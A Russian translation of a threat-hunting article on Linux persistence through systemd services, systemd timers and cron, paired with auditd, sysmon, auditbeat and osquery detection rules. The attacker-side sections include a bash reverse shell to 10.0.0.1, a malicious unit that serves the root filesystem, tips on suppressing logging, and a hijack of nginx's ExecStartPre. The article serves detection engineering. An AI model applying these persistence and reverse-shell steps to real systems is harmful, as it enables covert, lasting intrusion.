Данная публикация - перевод серии статей от Pepe Berba - Hunting for Persistence in Linux.

Введение

В этой статье мы обсудим, как злоумышленники могут создавать сервисы и планировщики задач для закрепления, рассмотрев следующие техники:

• Создание или модификация системного процесса: сервис Systemd

• Планировщик задач/джоб: таймеры Systemd

• Планировщик задач/джоб: Cron

Мы приведём несколько примеров команд по реализации этих техник закрепления, а также покажем, как создать оповещения с помощью открытых решений, таких как auditd, osquery, sysmon и auditbeats.

5 Создание или модификация системного процесса: сервис Systemd

5.1 Введение в сервисы Systemd

MITRE: https://attack.mitre.org/techniques/T1543/002/

Сервисы Systemd обычно используются для управления фоновыми демонами. Именно так запускается множество критически важных процессов операционной системы Linux во время загрузки.

Вот несколько примеров сервисов в Debian, с которыми вы можете быть знакомы:

• /etc/systemd/system/sshd.service: сервис безопасной оболочки (Secure Shell Service)

• /lib/systemd/system/systemd-logind.service: сервис управления входом в систему (Login Service)

• /lib/systemd/system/rsyslog.service: сервис системного логирования (System Logging Service)

• /lib/systemd/system/cron.service: демон регулярной обработки фоновых программ (Regular background program processing daemon)

Благодаря этим файлам сервисов такие процессы, как sshd, rsyslogd и cron, начинают работать сразу после включения машины.

Злоумышленники могут использовать systemd для установки собственных вредоносных сервисов, чтобы даже после перезагрузки их бэкдор также запускался. Для установки нового сервиса создаётся unit-файл с расширением .service в каталоге:
/etc/systemd/system/ или /lib/systemd/system/.

Давайте рассмотрим rsyslog.service, чтобы увидеть реальный пример конфигурации.

[Unit]
Description=System Logging Service
Requires=syslog.socket
Documentation=man:rsyslogd(8)
Documentation=https://www.rsyslog.com/doc/

[Service]
Type=notify
ExecStart=/usr/sbin/rsyslogd -n -iNONE
StandardOutput=null
Restart=on-failure

# Increase the default a bit in order to allow many simultaneous
# files to be monitored, we might need a lot of fds.
LimitNOFILE=16384

[Install]
WantedBy=multi-user.target
Alias=syslog.service

Есть две строки, на которые стоит обратить внимание:

• ExecStart: это команда, которая выполняется при запуске сервиса

• WantedBy: значение multi-user.target означает, что сервис должен запускаться при загрузке системы

Вот несколько ресурсов, чтобы разобраться в этом подробнее:

• https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/

• https://wiki.debian.org/systemd/Services

• https://www.digitalocean.com/community/tutorials/how-to-use-systemctl-to-manage-systemd-services-and-units

• https://manpages.debian.org/bullseye/systemd/systemd.unit.5.en.html

• https://www.freedesktop.org/software/systemd/man/systemd.unit.html

• https://www.unixsysadmin.com/systemd-user-services/

5.2 Установка вредоносного сервиса

5.2.1 Где размещать файлы сервисов

Чтобы установить сервис, сначала необходимо создать unit-файл вида <SERVICE>.service в одном из путей загрузки unit-файлов systemd. Согласно man-страницам [Debian systemd.unit man page] и [freedesktop systemd.unit man page].

Полные пути и порядок, в котором systemd будет искать unit-файлы, можно перечислить с помощью команды systemd-analyze unit-paths (для пользовательского режима добавьте ключ --user). Например:

$ systemd-analyze unit-paths
...
/etc/systemd/system
...
/usr/local/lib/systemd/system
/lib/systemd/system
/usr/lib/systemd/system
...

Это точный порядок и места, откуда systemd будет загружать сервисы. Некоторые директории, например /run/*, являются временными и не сохраняются после выключения машины.

Будет использован первый найденный файл с расширением *.service из списка. Например, если файл /lib/systemd/system/nginx.service уже существует, а мы создадим /etc/systemd/system/nginx.service, то мы переопределим сервис nginx.service, потому что /etc/systemd/system имеет приоритет над /lib/systemd/system/nginx.service.

Это может быть интересным вариантом, если мы хотим скомпрометировать уже существующие сервисы, а не создавать новые.

5.2.2 Минимальный файл сервиса

Мы хотим создать сервис под названием bad. Для этого создаём файл с именем /etc/systemd/system/bad.service.

[Unit]
Description=Example of bad service

[Service]
ExecStart=python3 -m http.server --directory /

[Install]
WantedBy=multi-user.target

После создания файла нужно включить сервис, чтобы он запускался при загрузке системы. Стандартный способ сделать это:

systemctl enable bad

Если ваш сервис называется, например, netdns.service, то нужно выполнить команду systemctl enable netdns. Эта команда найдёт файл netdns.service в одном из путей unit-файлов, распарсит его и создаст символическую ссылку для каждого таргета, указанного в настройке WantedBy.

Поскольку в нашем примере WantedBy=multi-user.target, целевой каталог будет /etc/systemd/system/multi-user.target.wants, и мы можем создать символическую ссылку вручную.

ln -s /etc/systemd/system/bad.service /etc/systemd/system/multi-
user.target.wants/bad.service

После создания символической ссылки операционная система будет знать, что нужно запускать bad.service при загрузке машины. Чтобы запустить сервис вручную, можно выполнить команду:systemctl start bad Если вы изменяете unit-файл, необходимо перезагрузить конфигурацию systemd командой: systemctl daemon-reload В этом примере в ExecStart используется python3, но вы можете заменить её на любую команду. Это может быть обратная оболочка, например: bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 из любого соответствующего cheat sheet [PayloadsAllTheThings Reverse Shell], или вы можете указать путь к bash-скрипту или исполняемому файлу, например /tmp/backdoor или /opt/backdoor.

5.2.3 Оставаться незаметным

Будьте внимательны к имени юнита, описанию и выводу вашего скрипта или исполняемого файла.

По умолчанию описание сервиса будет отображаться в syslog, а также туда попадёт стандартный вывод (stdout) и вывод ошибок (stderr).

Например, если у меня есть python-скрипт, который запускает сервис и пытается подключиться к домену, который мы настроили неправильно, то в syslog может появиться примерно такой запись:

Jan 30 07:35:56 test-auditd systemd[1]: Started Example of bad service.
Jan 30 07:36:27 test-auditd python3[957]: Traceback (most recent call last):
Jan 30 07:36:27 test-auditd python3[957]:   File "<string>", line 1, in <module>
Jan 30 07:36:27 test-auditd python3[957]: TimeoutError: [Errno 110] Connection timed out
Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Main process exited, code=exited, status=1/FAILURE
Jan 30 07:36:27 test-auditd systemd[1]: bad.service: Failed with result 'exit-code'.

Это проблема, потому что такие записи могут насторожить безопасников.

Общий способ предотвратить логирование stdout и stderr — добавить в секцию [Service] unit-файла следующие строки:

StandardOutput=null
StandardError=null

После того как мы изменим скрипт так, чтобы он корректно обрабатывал ошибки, а также изменим имя, описание и настройки логирования сервиса, у нас может получиться что-то вроде этого:

Jan 30 08:00:16 test-auditd systemd[1]: Started Periodic DNS Lookup Service.
Jan 30 08:00:16 test-auditd systemd[1]: dns.service: Succeeded.

5.2.4 Пользовательские сервисы Systemd

Существует менее распространённый класс сервисов systemd — пользовательские сервисы. Они располагаются в другом наборе путей unit-файлов, который можно узнать с помощью команды: systemd-analyze unit-paths --user Вывод для Debian:

$ systemd-analyze unit-paths --user
...
/home/user/.config/systemd/user
/etc/systemd/user
...
/home/user/.local/share/systemd/user
/usr/local/share/systemd/user
/usr/share/systemd/user
/usr/local/lib/systemd/user
/usr/lib/systemd/user
...

Мы можем добавить сервис bad_user.service в каталог /etc/systemd/user.

[Unit]
Description=Example of bad service

[Service]
ExecStart=<SOME COMMAND>

[Install]
WantedBy=default.target

Мы можем включить этот сервис «глобально», создав каталог /etc/systemd/user/default.target.wants и создав в нём символическую ссылку на bad_user.service.

mkdir /etc/systemd/user/default.target.wants
ln -s /etc/systemd/user/bad_user.service 
/etc/systemd/user/default.target.wants/bad_user.service

После перезагрузки при следующем входе пользователя в систему запускается выделенный сервис bad_user.service.

Чем это отличается от предыдущего варианта?

Пользовательские сервисы запускаются в контексте конкретного пользователя, а не системы в целом, поэтому они активируются именно при входе этого пользователя, а не сразу при загрузке машины.

Ниже приведён пример дерева процессов.

[root] systemd (PID 1)
├─ [root] sshd.service
├─ [root] rsyslog.service
├─ [root] bad.service
├─ [root] cron.service
│
├─ [user0] systemd --user
│  ├─ [user0] bad_user.service
│
├─ [user1] systemd --user
   ├─ [user1] bad_user.service

Поскольку sshd, cron и bad.service — это системные сервисы, создаётся только один экземпляр каждого (обычно работающий от имени root). Если в систему входят user0 и user1, то для каждого из них создаётся по одному экземпляру bad_user.service, так как это пользовательский сервис.

Обычно злоумышленнику нужны права root, чтобы создавать системные сервисы. С другой стороны, любой пользователь может создать свои собственные unit-файлы в директории ~/.config/systemd/user. Это удобно для поддержания закрепления на уровне пользователя до тех пор, пока злоумышленник не получит root-доступ.

Как обычный пользователь, вы можете управлять такими сервисами через systemctl с флагом --user.

• /etc/systemd/*

• /usr/local/lib/systemd/*

• /lib/systemd/*

• /usr/lib/systemd/*

• <USER HOME>/.config/systemd/user

Если злоумышленник хочет корректно запустить сервис, он может вызвать команду systemctl или service, поэтому мониторинг выполнения этих команд тоже может выявить вредоносные сервисы. Однако, как мы показали в предыдущих разделах, сервис можно включить и вручную, создав символическую ссылку, минуя вызов команд управления сервисами.

5.4 Обнаружение с помощью правил auditd

Наши эталонные правила из репозитория Neo23x0/auditd предоставляют следующие правила.

-w /bin/systemctl -p x -k systemd
-w /etc/systemd/ -p wa -k systemd

Это не позволит обнаружить установку закрепления, например, как в модуле metasploit service_persistence, где файл сервиса устанавливается в /lib/systemd/system/#{service_filename}.service.

Для этого я рекомендую добавить следующие правила:

-w /usr/lib/systemd/ -p wa -k systemd
-w /lib/systemd/ -p wa -k systemd

# Directories may not exist
-w /usr/local/lib/systemd/ -p wa -k systemd
-w /usr/local/share/systemd/user -p wa -k systemd_user
-w /usr/share/systemd/user  -p wa -k systemd_user

Закомментированные правила могут быть неактуальны, так как соответствующие директории могут отсутствовать в зависимости от используемого дистрибутива. Мы не можем применять правила auditd к директориям, которых нет на момент запуска сервиса.

Примеры логов auditd выглядят следующим образом:

SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c 
a1=55e618b75510 a2=241 a3=1b6 items=2 ppid=2719 pid=2738 auid=1000 uid=0 gid=0 
euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=5 comm="bash" 
exe="/usr/bin/bash" subj==unconfined key="systemd"
PATH item=0 name="/etc/systemd/system/" inode=90 dev=08:01 mode=040755 ouid=0 
ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 
cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PATH item=1 name="/etc/systemd/system/bad_auditd_example.service" inode=11867 
dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE 
cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
PROCTITLE proctitle="bash"

5.5 Обнаружение с помощью правил sysmon

5.5.1 Использование sysmon

Для sysmon в файле T1543.002_CreateModSystemProcess_Systemd.xml можно увидеть следующее правило:

  <FileCreate onmatch="include">
        <Rule name="TechniqueID=T1543.002,TechniqueName=Create or Modify System Process: Systemd Service" groupRelation="or">
          <TargetFilename condition="begin with">/etc/systemd/system</TargetFilename>
          <TargetFilename condition="begin with">/usr/lib/systemd/system</TargetFilename>
          <TargetFilename condition="begin with">/run/systemd/system/</TargetFilename>
          <TargetFilename condition="contains">/systemd/user/</TargetFilename>
        </Rule>
      </FileCreate>

Аналогично предыдущему разделу, для обнаружения metasploit я рекомендую добавить следующие правила:

<TargetFilename condition="begin with">/lib/systemd/system/</TargetFilename>

Пример лога sysmon:

<?xml version="1.0"?>
<Event>
  <System>
    <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
    <EventID>11</EventID>
    <Version>2</Version>
    <Level>4</Level>
    <Task>11</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8000000000000000</Keywords>
    <TimeCreated SystemTime="2022-01-30T09:55:21.054861000Z"/>
    <EventRecordID>20</EventRecordID>
    <Correlation/>
    <Execution ProcessID="2571" ThreadID="2571"/>
    <Channel>Linux-Sysmon/Operational</Channel>
    <Computer>test-auditd2</Computer>
    <Security UserId="0"/>
  </System>
  <EventData>
    <Data Name="RuleName">TechniqueID=T1543.002,TechniqueName=Create or Modify Sys</Data>
    <Data Name="UtcTime">2022-01-30 09:55:21.062</Data>
    <Data Name="ProcessGuid">{f4c1cbc8-6089-61f6-8d07-9717e6550000}</Data>
    <Data Name="ProcessId">2738</Data>
    <Data Name="Image">/usr/bin/bash</Data>
    <Data Name="TargetFilename">/etc/systemd/system/bad_sysmon_example.service</Data>
    <Data Name="CreationUtcTime">2022-01-30 09:55:21.062</Data>
    <Data Name="User">root</Data>
  </EventData>
</Event>

5.5.2 Особенности обнаружения с помощью правил sysmon

Стоит отметить, что такие правила способны обнаруживать только создание файлов. Но обнаружение не сработает, если:

• файл bad.service создаётся вне каталога, а затем перемещается в директорию systemd

• происходит изменение уже существующего файла

Например, указанные выше правила sysmon не сработают на следующий скрипт (в то время как правила auditd его обнаружат).

cat > /tmp/bad_sysmon.service << EOF
[Unit]
Description=Example of bad service

[Service]
ExecStart=python3 -m http.server --directory / 9998

[Install]
WantedBy=multi-user.target

EOF

mv /tmp/bad_sysmon.service /etc/systemd/system/bad_sysmon.service
ln -s /etc/systemd/system/bad_sysmon.service /tmp/bad_sysmon.service
mv /tmp/bad_sysmon.service /etc/systemd/system/multi-
user.target.wants/bad_sysmon.service

5.6 Обнаружение с помощью auditbeats

Конечно, как и auditd, мы можем использовать мониторинг целостности файлов в auditbeats для этой задачи. Однако следует учитывать, что в стандартной конфигурации auditbeats файлы systemd не контролируются [Auditbeat File Integrity Module].

Хотя по умолчанию контролируется каталог /etc/, параметр recursive установлен в false. Это означает, что /etc/systemd не мониторится. Необходимо либо установить recursive: true, либо добавить перечисленные нами пути в конфигурацию.

- module: file_integrity
  paths:
  - /bin
  - /usr/bin
  - /sbin
  - /usr/sbin
  - /etc
  - /etc/systemd/system
  - /lib/systemd/system
  - /usr/lib/systemd/system
  # recursive: true

Если настройка выполнена корректно, создание сервиса и выполнение команды systemctl daemon-reload должны привести к следующим записям в логах:

5.7 Поиск с помощью osquery

5.7.1 Список unit-файлов systemd с хешами

Здесь мы ищем сервисы:

SELECT id, description, fragment_path, md5  
FROM systemd_units 
JOIN hash ON (hash.path = systemd_units.fragment_path) 
WHERE id LIKE "%service";

5.7.2 Список сервисов, запускающихся при старте системы

SELECT name, source, path, status, md5
FROM startup_items 
JOIN hash 
USING(path)
WHERE path LIKE "%.service"  AND status = "inactive"
ORDER BY name;

Этот запрос вернёт элементы запуска с расширением *.service вместе с их путями и хешами. Это те сервисы, которые включены для автозапуска.

5.7.3 Список процессов, созданных systemd

Сервисы, запущенные systemd, будут иметь идентификатор родительского процесса (PID) равный 1. Поэтому мы можем также искать подозрительные процессы с родителем PID = 1. Как рекомендует источник [ATT&CK T1501: Understanding systemd service persistence], стоит обратить внимание на процессы, которые запускаются через python, bash или sh.

SELECT pid, name, path, cmdline, uid FROM processes WHERE parent = 1

5.7.4 Список сервисов с ошибками

Если бэкдор был настроен неправильно, сервис может не запуститься и перейти в состояние ошибки.

SELECT id, description, fragment_path, sub_state, md5  
FROM systemd_units 
JOIN hash 
ON (hash.path = systemd_units.fragment_path) 
WHERE sub_state='failed';

5.8 Дополнительные заметки: модификация существующих сервисов

Вместо создания нового systemd-сервиса злоумышленник может просто изменить уже существующие сервисы. Например, он может:

• Изменить существующие .service файлы

• Переопределить существующие .service файлы

• Изменить исполняемые файлы, используемые сервисом

Допустим, наша цель — сервис nginx. Чтобы узнать, где находится файл nginx.service, можно использовать команду:

$ systemctl status nginx
● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)

Мы хотим изменить файл /lib/systemd/system/nginx.service. Если мы хотим добавить долгоживущий процесс, не прерывая работу основного процесса nginx, можно использовать директиву ExecStartPre, которая выполняет команду перед основным процессом.

...
[Service]
Type=forking
PIDFile=/run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t -q -g 'daemon on; master_process on;'
ExecStartPre=/root/run.sh # <------------- ADD THIS
ExecStart=/usr/sbin/nginx -g 'daemon on; master_process on;'
...

systemd поддерживает несколько директив ExecStartPre, поэтому мы можем добавить запуск скрипта. Пример шаблона для /root/run.sh может выглядеть так:

#! /bin/bash

<COMMAND> 2>/dev/null >/dev/null & disown  

Таким образом, при следующем запуске nginx (например, после перезагрузки) скрипт run.sh также выполнится.

Если же нужно перезапустить сервис вручную, используется команда:

systemctl daemon-reload
systemctl restart nginx

У нас есть несколько вариантов для модификации:

• Изменить файл /lib/systemd/system/nginx.service напрямую, но при обновлении nginx этот файл будет перезаписан.

• Добавить nginx.service в более приоритетные пути, как обсуждалось в разделе 5.2.1 — например, в /etc/systemd/system или /usr/local/lib/systemd/system.

• Создать файл /etc/systemd/system/nginx.service.d/local.conf, который дополнит или переопределит конфигурацию сервиса.

Пример содержимого файла /etc/systemd/system/nginx.service.d/local.conf:

[Service]
ExecStartPre=/root/run.sh 

Как и при создании нового сервиса, обнаружение таких изменений потребует мониторинга целостности файлов. Поэтому будьте осторожны с простым добавлением сервисов в белый список при поиске вредоносных установок.

6 Запланированные задачи: Таймеры Systemd

MITRE: https://attack.mitre.org/techniques/T1053/006/

6.1 Понимание таймеров systemd

Ранее мы рассматривали сервисы, которые запускаются во время загрузки системы. Но это не единственный способ запуска сервиса — другой вариант — использование таймеров.

Мы можем посмотреть существующие таймеры на виртуальной машине с помощью команды: systemctl list-timers

Это альтернатива более известному cron.

Для понимания работы таймеров нужно знать о двух unit-файлах:

• SERVICE_NAME.timer

• SERVICE_NAME.service

.service файл почти такой же, как тот, что мы рассматривали ранее.

Сначала посмотрим пример работы таймеров. Если вы хотите узнать расположение таймера, можно выполнить команду:

# systemctl status google-oslogin-cache.timer 
● google-oslogin-cache.timer - NSS cache refresh timer
   Loaded: loaded (/lib/systemd/system/google-oslogin-cache.timer; enabled; vendor preset: enabled)
   Active: active (waiting) since Sun 2022-01-30 09:34:40 UTC; 2h 39min ago

В данном случае файл google-oslogin-cache.timer находится по пути /lib/systemd/system/google-oslogin-cache.timer.

Если посмотреть содержимое google-oslogin-cache.timer, мы увидим:

[Unit]
Description=NSS cache refresh timer

[Timer]
OnBootSec=5
OnUnitActiveSec=6h

[Install]
WantedBy=timers.target

Это означает, что:

• OnUnitActiveSec=6h: сколько времени ждать перед повторным запуском сервиса (через 6 часов)

• WantedBy=timers.target: этот .timer считается таймером и активируется через timers.target

Связанный сервис google-oslogin-cache.service очень простой. Секция [Install] пустая, потому что сервис запускается только по таймеру.

[Unit]
Description=NSS cache refresh

[Service]
Type=oneshot
ExecStart=/usr/bin/google_oslogin_nss_cache

6.2 Создание вредоносного таймера

Итак, теперь у нас достаточно информации, чтобы создать вредоносный таймер.

Мы создали файл /etc/systemd/system/scheduled_bad.timer:

[Unit]
Description=Bad timer

[Timer]
OnBootSec=5
OnUnitActiveSec=5m

[Install]
WantedBy=timers.target

Мы создали соответствующий сервис по пути /etc/systemd/system/scheduled_bad.service.

[Unit]
Description=Bad timer

[Service]
ExecStart=/opt/beacon.sh

Теперь мы включаем таймер и запускаем его.

# systemctl daemon-reload 
systemctl enable scheduled_bad.timer
systemctl start scheduled_bad.timer

Аналогично обычному сервису, команда enable создала символическую ссылку для каждого таргета, указанного в параметре WantedBy.

Created symlink /etc/systemd/system/timers.target.wants/scheduled_bad.timer → 
/etc/systemd/system/scheduled_bad.timer.

6.3 Обнаружение создания таймеров

Мы не будем подробно обсуждать методы обнаружения, так как они практически совпадают с обнаружением создания systemd-сервисов.

Кратко: стоит отслеживать создание файлов с расширениями .service и .timer в одном из следующих каталогов:

• /etc/systemd/system

• /usr/local/lib/systemd/system

• /lib/systemd/system

• /usr/lib/systemd/system

6.4 Список таймеров с помощью osquery

SELECT id, description, sub_state, fragment_path  
FROM systemd_units 
WHERE id LIKE "%timer";

7 Запланированные задачи: Cron

MITRE: https://attack.mitre.org/techniques/T1053/003/

7.1 Введение в cron

Cron — это самый традиционный способ создания запланированных задач. Интересующие нас каталоги:

• /etc/crontab

• /etc/cron.d/*

• /etc/cron.{hourly,daily,weekly,monthly}/*

• /var/spool/cron/crontab/*

Мы не будем подробно рассматривать, как создавать cron-задания. Для примеров можно обратиться к https://crontab.guru/examples.html.

7.2 Создание запланированной задачи cron

7.2.1 Пользовательский crontab

Если вы обычный пользователь, вы можете изменить свой собственный crontab с помощью команды crontab -e. Это создаст файл в /var/spool/cron/crontab/<user>.

Например, можно добавить:

*/5 *  * * *    /opt/beacon.sh

Чтобы запускать /opt/beacon.sh каждые 5 минут. Если команду crontab -e выполняет root, файл будет находиться по пути /var/spool/cron/crontab/root.

7.2.2 /etc/crontab

Администратор может изменять файл /etc/crontab или создавать файлы в /etc/cron.d/<ЛЮБОЕ_ИМЯ>. В отличие от файлов в /var/spool/cron/*, где пользователь для задач определяется исходя из того, чей это crontab, в строках /etc/crontab обязательно указывается имя пользователя, от которого запускается задача.

Для редактирования используйте: vi /etc/crontab/

*/10 *  * * *  root  /opt/beacon.sh

Это будет запускать /opt/beacon.sh каждые 10 минут от имени root.

7.2.3 cron-задания hourly, daily, weekly и monthly

Каталоги /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, /etc/cron.monthly/ содержат скрипты, которые выполняются соответственно ежечасно, ежедневно, еженедельно или ежемесячно.

7.3 Мониторинг добавления заданий в cron

7.3.1 Auditd

В наших эталонных правилах Neo23x0/auditd содержатся следующие правила для мониторинга:

-w /etc/cron.allow -p wa -k cron
-w /etc/cron.deny -p wa -k cron
-w /etc/cron.d/ -p wa -k cron
-w /etc/cron.daily/ -p wa -k cron
-w /etc/cron.hourly/ -p wa -k cron
-w /etc/cron.monthly/ -p wa -k cron
-w /etc/cron.weekly/ -p wa -k cron
-w /etc/crontab -p wa -k cron
-w /var/spool/cron/ -k cron

Это должно покрывать почти все кейсы с cron.

7.3.2 Sysmon

Для sysmon можно использовать правило T1053.003_Cron_Activity.xml, которое является адаптацией приведённых выше правил auditd.

<RuleGroup name="" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Rule name="TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron" groupRelation="or">
          <Image condition="end with">crontab</Image>
        </Rule>
      </ProcessCreate>
    </RuleGroup>
    <RuleGroup name="" groupRelation="or">
      <FileCreate onmatch="include">
        <Rule name="TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron" groupRelation="or">
          <TargetFilename condition="is">/etc/cron.allow</TargetFilename>
          <TargetFilename condition="is">/etc/cron.deny</TargetFilename>
          <TargetFilename condition="is">/etc/crontab</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.d/</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.daily/</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.hourly/</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.monthly/</TargetFilename>
          <TargetFilename condition="begin with">/etc/cron.weekly/</TargetFilename>
          <TargetFilename condition="begin with">/var/spool/cron/crontabs/</TargetFilename>
        </Rule>
      </FileCreate>
    </RuleGroup>

7.3.3 Auditbeats

Как и в случае с systemd, будьте осторожны при использовании стандартного мониторинга целостности файлов в auditbeat. По умолчанию мониторится только /etc/crontab. Следующие пути не контролируются FIM в стандартной конфигурации:

• /etc/cron.d/*

• /etc/cron.hourly/*, /etc/cron.daily/*, /etc/cron.weekly/*, /etc/cron.monthly/*

• /var/spool/cron/crontab/*

Вы можете либо включить рекурсивный мониторинг, либо добавить каждый из этих каталогов отдельно.

7.3.4 Osquery

Просмотр распарсенных crontab:

SELECT *
FROM crontab

Список всех файлов в каталогах /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, /etc/cron.monthly/:

SELECT path, directory, md5
FROM hash 
WHERE 
  path LIKE "/etc/cron.hourly/%"
  OR path LIKE "/etc/cron.daily/%"
  OR path LIKE "/etc/cron.weekly/%"
  OR path LIKE "/etc/cron.monthly/%";